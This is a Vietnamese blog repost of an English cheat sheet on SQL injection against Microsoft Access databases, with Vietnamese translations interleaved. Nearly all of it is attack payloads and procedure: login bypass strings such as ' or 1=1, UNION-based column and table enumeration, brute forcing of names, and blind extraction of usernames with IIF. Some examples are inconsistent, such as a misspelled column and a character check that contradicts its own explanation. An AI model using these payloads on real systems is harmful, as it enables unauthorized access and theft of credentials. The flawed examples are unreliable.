SQL Injection for Microsoft Access

Bài này sưu tầm từ 1 blog nước ngoài về cách Hack SQL Injection cho Microsoft Access có hình ảnh cụ thể, mình đọc thấy hay nên post lên cho mọi người cùng đọc, các bạn chịu khó đọc Tiếng Anh nha :), có thể mình sẽ dịch sau nhưng tốt nhất đọc TA sẽ giúp ta dễ hiểu hơn.

Đã dịch xong (google dịch + vốn từ vựng của mình) xong bài này chắc chuyển Theme mới thấy bản Theme này hình nhìn hơi nhỏ :D.

This blog post contains notes that I made when I was reading up on SQL Injection for Microsoft Access.   It is important to note that tools like SQLMap might not work for all instances for SQL injections.   Therefore, it is important to get the fundamentals right from the start instead of relying on tools.

It is easier to learn about SQL injection for Microsoft Access using Microsoft Access because it is easier to visualize for beginners.  I have included screenshots to help beginners like myself to learn about SQL Injections.

There are a few useful links about SQL Injection for Microsoft Access
1.  http:/www.insomniasec.com/publications/Access-Through-Access.pdf  <- You should never hack Microsoft Access without this document.
2. http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/
3. http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html  <- Very useful list of column and tables names that you can use for brute-forcing
4. http://seclists.org/pen-test/2003/May/74  <- Some nifty tricks here.


Reference Table for Microsoft Access SQL Injection(Bảng tham chiếu cho Microsoft Access SQL Injection)

No

Description

(Mô tả câu lệnh)

Prerequisites(Điều kiện tiên quyết) Commands(Lệnh)
1 Retrieve the List of Tables in the Access Database(Lấy danh sách các bảng trong CSDL) Might not work through an ODBC connection.  Might only work via MS Access directly.(Có thể không làm việc thông qua một kết nối ODBC. Chỉ có thể làm việc thông qua MS Access trực tiếp) SELECT * FROM users UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1
2 Get the Number of Columns in an Access Table(Lấy số cột trong một bảng truy cập) None SELECT * FROM users WHERE id=1 ORDER BY #,1 Replace # by a number and increment it until it returns an error.The last number before the error will be the total number of columns in the table.(Thay # bằng số và tăng nó cho đến khi nó trả về một số error.Số cuối cùng trước khi các lỗi sẽ là tổng số của các cột trong bảng)
3 Retrieving the Columns in a Table(Lấy cột trong bảng) Only if the column selection in a SELECT statement is not using *(Chỉ khi lựa chọn cột trong một câu lệnh SELECT sẽ không được sử dụng *) SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1
4 Get The First Column Name from the Current Table(Lấy tên cột đầu từ bảng hiện tại) None SELECT * FROM users WHERE id=1 having sum(1)=1
5 Retrieving the Data Type of the Colum(Lấy kiểu dữ liệu của các cột) Column and Table Name SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1
6 Retrieve The Length of the Data in X Column(Lấy chiều dài của dữ liệu trong cột X) Column and Table Name SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0)
7 Retrieve the Data in the Column  / Row of the Access Table.Uses True or False statement to check if there is a data match.(Lấy dữ liệu trong Column / Row truy cập Table.Uses tuyên bố đúng hay sai để kiểm tra xem có một sự phù hợp dữ liệu) Column and Table Name SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)
8 Retrieve The Data In the X Column and X Row.(Lấy Dữ Liệu trong cột X và dòng X) Column and Table Name SELECT TOP 1 username FROM users WHERE username <(SELECT MAX(username) FROM users where USERNAME <(SELECT MAX(username) FROM users)) ORDER BY username
9 How to Check if The Access Database is Sandboxed(Làm thế nào để kiểm tra nếu cơ sở dữ liệu truy cập là Sandboxed) None SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1
10 Check if Table Exists(Kiểm tra nếu bảng tồn tại) None SELECT * FROM users WHERE id=1 UNION SELECT 1 FROM [table_name]
11 Check if Column Exists(Kiểm tra nếu cột tồn tại) Table Name SELECT * FROM users WHERE id=1 UNION SELECT [column_name] FROM [table_name]
12 Determine Number of Rows in Table(Xác định số dòng trong bảng) Table Name SELECT * FROM users AND IIF(SELECT COUNT(*) FROM [table_name] ) = [x], 1, 0
13 Login Bypass(Đăng nhập được bỏ qua) ‘ or 1=1‘)
‘ or 1=1
14 Login Bypass(If the above (No 13) doesn’t work for you(Đăng nhập Bypass (Nếu (trên 13) sẽ không làm việc cho bạn) Number of Columns Table Name Column Name(Số của các cột, tên bảng, tên cột) SELECT * FROM users WHERE username = ‘[username] ‘ UNION SELECT NULL, NULL, NULL FROM users WHERE ‘1’=’1’ and password=’’

Steps for SQL Injection for Microsoft Access(Các bước cho SQL Injection cho Microsoft Access)

  1. Terminate the input string with a single ‘ or double quote “ (Chấm dứt chuỗi đầu vào với một giá duy nhất hoặc đôi )
  2. Find out the number of columns in the current table. Refer to (2) in table.(Tìm ra số lượng các cột trong bảng hiện thời. Hãy tham khảo (2) trong bảng)
  3. Extract the valid column names from the SQL injection.  Refer to (3) in table.(Trích xuất các tên cột hợp lệ từ SQL injection. Hãy tham khảo (3) trong bảng)
  4. If Step (3) doesn’t work, extract the first column name of the current table.  Refer to (4) in table.(Nếu Bước (3) không hoạt động, trích xuất các tên cột đầu tiên của bảng hiện tại. Hãy tham khảo (4) trong bảng.)
  5. Brute force the table names.  Refer to (10) in table.(Tấn công ” vét cạn ” các tên bảng. Hãy tham khảo (10) trong bảng.)
  6. Brute force the column names.  Refer to (11) in table.(Tấn công ” vét cạn ” tên cột. Hãy tham khảo (11) trong bảng.)
  7. Retrieve The Length of the Data in X Column.  Refer to (6) in table.(Lấy Chiều dài của dữ liệu trong cột X. Tham khảo (6) trong bảng.)
  8. For simple websites, you can use (e.g. UNION SELECT null, null, [column_name], null from users to extract the values).  Not all columns will return the value in a UNION SELECT.  It all depends on the data type of the original column.   You might want to shift the [column_name] around until you get a valid data output on the website.(Đối với các trang web đơn giản, bạn có thể sử dụng (ví dụ như UNION SELECT null, null, [column_name], null từ người sử dụng để trích xuất các giá trị). Không phải tất cả các cột sẽ trở lại giá trị trong một SELECT UNION. Tất cả phụ thuộc vào kiểu dữ liệu của cột ban đầu. Bạn có thể muốn thay đổi [column_name] xung quanh cho đến khi bạn nhận được một đầu ra dữ liệu hợp lệ trên trang web.)
  9. In a blind SQL injection,  you can use one of the methods mentioned in (7) and (8) to extract the data from the database.(Trong tiêm SQL mù, bạn có thể sử dụng một trong các phương pháp được đề cập trong (7) và (8) để trích xuất các dữ liệu từ cơ sở dữ liệu.)

Login Bypass (Đăng nhập được bỏ qua)

Prerequisites:                     Username, Number of Columns in Table and Table Name

(Điều kiện tiên quyết:        Tên , Số cột trong bảng và Tên bảng)

SELECT * FROM users WHERE username = ‘keith’ union select null, null, null FROM users WHERE ‘1’=’1‘

In some cases, the SQL injection login bypass command (‘ or 1=1)doesn’t work.

(Trong một số trường hợp, bỏ qua đăng nhập lệnh SQL injection (‘or 1 = 1) không hoạt động.)

This is when the SQL statement below becomes useful.

(Điều này là khi các câu lệnh SQL dưới đây trở nên hữu ích.)


Get the Number of Columns in an Access Table(Lấy số cột trong một bảng truy cập)

Prerequisites:              None

The below SQL command can be used to derive the number of columns in a MSAccess table.

(Các lệnh SQL dưới đây có thể được sử dụng để lấy được số lượng các cột trong một bảng MSAccess.)

You will increase the number after ORDER BY until you receive an error.  The number before you receive the error is the total number of columns in the current table.

(Bạn sẽ tăng số lượng sau khi ORDER BY cho đến khi bạn nhận được một lỗi. Số trước khi bạn nhận được lỗi là tổng số của các cột trong bảng hiện thời.)

SELECT * FROM users WHERE id=1 ORDER BY 6,1

The group by command also can be used to retrieve the column names.  However, the group by command doesn’t work if the SQL statement contains SELECT *

(Lệnh group by cũng có thể được sử dụng để lấy các tên cột. Tuy nhiên, lệnh group by không làm việc nếu các câu lệnh SQL có chứa SELECT *)

You will be able to retrieve all the column names in the SQL statement if the SELECT statement doesn’t contain *

(Bạn sẽ có thể lấy tất cả các tên cột trong câu lệnh SQL nếu các câu lệnh SELECT không chứa *)


Retrieve the Data in the Column  / Row of the Access Table(Lấy dữ liệu trong Column / Row truy cập bảng)

Prerequisites:  Column and Table Name

(Điều kiện tiên quyết: Tên Cột và Tên Bảng)

The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “m”.

(Lệnh dưới đây sử dụng “IIF” từ khoá và kiểm tra nếu ký tự đầu tiên của các từ trong cột đầu tiên và hàng phù hợp với ký tự “m“.)

SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)

Since the query returns some results, it means that the first character of the word in the first column and row matches the character “m”.

(Kể từ khi truy vấn trả về một số kết quả, nó có nghĩa là ký tự đầu tiên của các từ trong cột đầu tiên và hàng phù hợp với ký tự “m“.)

The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “Y”.

(Lệnh dưới đây sử dụng “IIF” từ khoá và kiểm tra nếu ký tự đầu tiên của các từ trong cột đầu tiên và hàng phù hợp với nhân vật “Y“.)

SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(usernme),1,1) FROM (SELECT TOP 1 username FROM users))=’i’,1,0)

Since the query doesn’t return any results, it means that the first character of the word in the first column and row matches the character “Y”.

(Kể từ khi các truy vấn không trả lại bất kỳ kết quả, nó có nghĩa là ký tự đầu tiên của các từ trong cột đầu tiên và hàng phù hợp với nhân vật “Y“.)

Get The First Column Name from the Current Table(Lấy tên cột đầu từ bảng hiện tại)

Prerequisites:                      None

We are able to reveal the first column of the table using the below SQL statement.  For the other columns, you will have to brute force them using a word list

(Chúng tôi có thể tiết lộ cột đầu tiên của bảng sử dụng câu lệnh SQL dưới đây. Đối với các cột khác, bạn sẽ có tấn công ” vét cạn ” chúng bằng cách sử dụng một danh sách từ)

SELECT * FROM users WHERE id=1 having sum(1)=1


Retrieving the Data Type of the Colum(Lấy kiểu dữ liệu của cột)

Prerequisites:                      Column and Table Name

Using the below statement, you can reveal the type of the column.  However, you will need to know the table name and column name in order for this statement to work

(Sử dụng báo cáo dưới đây, bạn có thể tiết lộ các loại cột. Tuy nhiên, bạn sẽ cần phải biết tên bảng và tên cột để cho tuyên bố này để làm việc)

SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1

The below command checks the data type of the column “username”.

(Lệnh dưới đây kiểm tra các loại dữ liệu của cột “username”.)

The below command checks the data type of the column “id”.

(Lệnh dưới đây kiểm tra các loại dữ liệu của cột “id”.)

Using the IF ELSE keyword in the below SQL statement, we can infer the answers to our questions by asking the access database ‘Yes’ or ‘No’ type of questions.

(Sử dụng từ khóa IF ELSE trong câu lệnh SQL dưới đây, chúng ta có thể suy ra câu trả lời cho câu hỏi của chúng tôi bằng cách yêu cầu truy cập cơ sở dữ liệu ‘‘ hoặc ‘Không‘ có loại câu hỏi.)

The below statement checks to see if the data type of username is “long”.  If the data type is long then results will be returned.   If not, the results would be blank.

(Các báo cáo dưới đây kiểm tra xem các kiểu dữ liệu của username là “long“. Nếu kiểu dữ liệu đó là long sau đó kết quả sẽ được trả lại. Nếu không, kết quả sẽ được để trống.)


How to Check if The Access Database is Sandboxed(Làm thế nào để kiểm tra nếu cơ sở dữ liệu truy cập là Sandboxed.)

Prerequisites:                     None

If the JET engine is sandboxed, you will not be able to use unsafe commands like curdir().  In order to test whether the Jet engine is sandboxed, you can type in the below statement

(Nếu phương pháp JET là sandboxed, bạn sẽ không thể sử dụng lệnh không an toàn như curdir (). Để kiểm tra xem phương pháp JET được sandboxed, bạn có thể nhập vào các báo cáo dưới đây)

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

Microsoft JET 3.51 SP2/SP3 and Windows NT SP6a (MS JET 3.51.0623.4) does not provide sandboxing.

(Microsoft JET 3,51 SP2/SP3, Windows NT SP6a (MS JET 3.51.0623.4) không cung cấp sandboxing.)

You can refer to http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B294698&Product=acc for a list of safe and unsafe functions that you can/cannot use.


Retrieve the List of Tables in the Access Database(Lấy danh sách các bảng trong cơ sở dữ liệu Access)

You might be able to get a list of tables that are on the access database using the below command

(Bạn có thể để có được một danh sách các bảng trên cơ sở dữ liệu truy cập bằng cách sử dụng lệnh dưới đây)

However, you might not be able to access this outside MS Access.

(Tuy nhiên, bạn có thể không có thể truy cập vào MS Access bên ngoài.)

SELECT * FROM users UNION SELECT name FROM MSysObjects WHERE type=1


Retrieve The Data In the X Column and X Row(Lấy Các dữ liệu trong cột X và Row X)

Prerequisites:                     Column and Table Name

In order to find the username in the 3rd row, the below SQL statement would be used.

(Để tìm ra tên người dùng ở dòng thứ 3, câu lệnh SQL dưới đây sẽ được sử dụng.)

SELECT TOP 1 username FROM users WHERE username <(SELECT MAX(username) FROM users where USERNAME <(SELECT MAX(username) FROM users)) ORDER BY username


Retrieve The Length of the Data in X Column(Lấy chiều dài của dữ liệu trong cột X)

Prerequisites:                     Column and Table Name

To check if the length of the first string in the username column, we would use the below SQL statement

(Để kiểm tra xem độ dài của chuỗi đầu tiên trong cột tên người dùng, chúng tôi sẽ sử dụng câu lệnh SQL dưới đây)

SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0)


Retrieving the Columns in a Table(Lấy cột trong bảng)

Prerequisites:                     If the SELECT statement doesn’t use * under the Column Selection portion of the SQL statement

(Điều kiện tiên quyết:       Nếu các câu lệnh SELECT không sử dụng * dưới phần lựa chọn cột của các câu lệnh SQL)

SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1

If the column selection in the SELECT statement is not using * but using the column names instead, we will able to force MSAccess to reveal the column names by using Group By 1 Having 1=1 statement

(Nếu lựa chọn cột trong câu lệnh SELECT không sử dụng * nhưng bằng cách thay vì sử dụng các tên cột, chúng ta sẽ có thể buộc MSAccess tiết lộ tên cột bằng cách sử dụng Group By 1 Having 1=1)

As shown in the below screenshot, the first column in the SQL statement has been revealed

(Như thể hiện trong các ảnh chụp màn hình dưới đây, cột đầu tiên trong các câu lệnh SQL đã được tiết lộ)

We append the previously found column ‘username’ to the SQL statement in order to reveal the name of the next column,  If you no longer receive any alerts, that means that you have uncovered all the column names in the SQL statement.

(Chúng tôi thêm ‘username’ cột trước đó tìm thấy câu lệnh SQL để tiết lộ tên của các cột tiếp theo, Nếu bạn không còn nhận được bất kỳ cảnh báo, có nghĩa là bạn đã phát hiện ra tất cả các tên cột trong câu lệnh SQL.)


Check if A Table Exists(Kiểm tra nếu Bảng A tồn tại)

Prerequisites:                     None

SELECT * FROM users WHERE username = ‘’ UNION SELECT 1 from users1 WHERE ‘1’=’1’ and password=’’

 You can use the below command to brute force for valid table names

(Bạn có thể sử dụng lệnh dưới đây để tấn công ” vét cạn ” cho các tên bảng hợp lệ)

Nguồn: milo2012

Advertisements

About securityforall

it, smile, share for people,...

Posted on June 9, 2012, in Hack SQL Injection. Bookmark the permalink. Leave a comment.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s

%d bloggers like this: